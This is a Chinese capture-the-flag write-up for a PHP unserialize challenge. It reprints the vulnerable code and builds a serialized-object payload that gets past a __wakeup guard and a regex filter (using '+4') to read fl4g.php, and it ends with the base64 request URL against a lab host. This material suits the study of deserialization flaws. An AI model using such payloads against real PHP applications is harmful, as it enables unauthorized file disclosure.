Web_php_unserialize

解题思路：

- 首先，这道题一看题目就知道，跟昨天做过的那道反序列化(unserialize3)是一个类型，点进去看看。

- 界面上已经写好了代码：

```php
<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/[oc]:\d+:/i', $var)) {
        die('stop hacking!');
    } else {
        @unserialize($var);
    }
} else {
    highlight_file("index.php");
}
?>
```

读一下代码：首先定义一个 Demo 类，里面有一个 private 成员 flag，以及三个方法。

立刻想到：如果定义一个序列化的对象字符串，它应该是这样的：

- `O:4:"Demo":1:{S:10:"Demofile";S:9:"index.php"}`

- 需要注意 `Demofile` 的长度是 **10** ！原因参看[unserialize3](https://github.com/EndermaNNNN/zhaoenze/blob/master/WriteUps/unserialize3.md)中的注意事项。

接着读代码，`__wakeup()` 又出现了，里面的意思是强制转到`index.php`，那我们肯定又要绕过它，方法还是“撑爆”数组长度。同时注释里告诉我们，flag 在 `fl4g.php` 里，于是重新构造字符串：

- `O:4:"Demo":1:{S:10:"Demofile";S:8:"fl4g.php"}`

再往下看，最后一段代码告诉了我们，读取值的方法是`get`,而且这个被读取的 `var` 还必须是 **被 Base64 编码之后传上去** 才行。

Base64 解码之后又接了一个正则筛选，意思是：

- 对 `（[字符 O 或 C]:[一个或多个数字]）` 格式进行匹配，且大小写不敏感。

我们发现构造的序列化字符串里有 `[O:4]` ,怎么才能让这个格式不匹配呢？

- 一开始我想的是在 4 前面加空格，但是这样网站直接不响应

- 之后又尝试了 **把所有数字转码成 url 编码** ，后来想了想，这么做完全是徒劳：人家反正要解析，你转码也没用啊

- 最后实在没办法，看了别人的做法，发现 php 里面 `4` 和 `+4` 其实是一个东西，虽然 `+4` 只是多了一个正号，但这恰好就是我们想要的东西。

根据正则的要求修改字符串：

- `O:+4:"Demo":1:{S:10:"Demofile";S:8:"fl4g.php"}`

最后就是转码了，我最开始使用网页提供的在线转码工具，结果用这个去请求根本出不来结果，题目网站一直无响应，我确认了很多遍自己的字符串构造，最后实在没办法，去网上看了，发现大家都有这个问题：

- 千万不要用在线工具转码，字符串里面有一些空字符根本没法被编码！一定要用 php 脚本自己编码运行一遍！

最后只能嫖别人写好的编码，拿下了这道题，这也给我敲响了警钟：一定要安装一个本地 php 调试工具。

最后的请求 url：

```
    `111.198.29.45:59499/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==`
```